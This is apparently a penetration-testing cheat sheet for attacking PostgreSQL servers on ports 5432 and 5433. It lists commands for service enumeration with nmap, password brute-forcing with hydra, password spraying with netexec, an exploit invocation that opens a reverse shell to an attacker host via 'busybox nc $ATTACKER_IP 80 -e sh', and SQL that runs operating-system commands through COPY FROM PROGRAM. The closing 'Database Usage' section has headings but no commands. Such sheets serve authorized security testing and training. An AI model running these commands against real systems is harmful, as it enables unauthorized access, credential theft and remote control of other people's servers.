githubEdit

PostgreSQL

Port 5432, 5433

1) Nmap scan

nmap -sV -p 5432,5433 --script "postgresql-info,postgresql-user-enum,postgresql-ssl" IP

2) Brute force

hydra -L users.txt -P passwords.txt -s 5432 IP postgresql

3) Password Spray

netexec postgres -d <DB_NAME> -u <USER> -p <PASSWORD> <ip>

4) Login

-W: Prompt for password

psql -h <ip> -p 5432 -U <USER> -W

5) RCE (PostgreSQL DB versions 11.3 - 11.9)

python3 50847.py -i <ip> -p 5437 -c "busybox nc $ATTACKER_IP 80 -e sh"

6) Code Execution

DROP TABLE IF EXISTS cmd_exec;  
CREATE TABLE cmd_exec(cmd_output text);  
COPY cmd_exec FROM PROGRAM 'id';  
SELECT * FROM cmd_exec;  
DROP TABLE IF EXISTS cmd_exec;

7) Database Usage

List all databases

Switch to a specific database

List all tables in the current database

View the schema of a specific table

Query the contents of a specific table

Execute a query to find specific data, such as users with a particular attribute

Example command to list all tables and their columns

Execute an SQL command to create a new table

Insert data into a table

Update data in a table

Delete data from a table

Last updated